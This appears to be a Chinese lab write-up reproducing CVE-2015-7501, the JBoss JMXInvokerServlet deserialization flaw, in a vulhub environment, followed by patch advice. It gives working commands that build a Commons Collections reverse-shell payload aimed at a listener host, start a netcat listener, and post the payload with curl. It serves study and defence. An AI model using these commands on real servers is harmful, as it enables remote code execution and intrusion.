CVE-2015-7501-JBoss-JMXInvokerServlet-Deserialization
forg12

描述

​ 这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

影响版本

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0

环境搭建

使用vulhub搭建漏洞环境

1
2
3
4
#进入漏洞目录
cd vulhub/jboss/JMXInvokerServlet-deserialization
#开启环境
docker-compose up -d

image-20221020101355569

查看环境

1
http://192.168.3.50:8080/

image-20221020101503475

复现过程

利用工具下载地址:

1
https://github.com/joaomatosf/JavaDeserH2HC

通过一下命令可生成一个ser后缀的文件。

1
2
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.3.61:2233

image-20221020101629635

image-20221020101642264

kali监听2233端口

1
nc -lvvp 2233

执行exp

1
curl http://192.168.3.50:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20221020101712451

image-20221020101726669

修复建议

1、升级版本

2、不需要的http-invoker.sar组件,删除此组件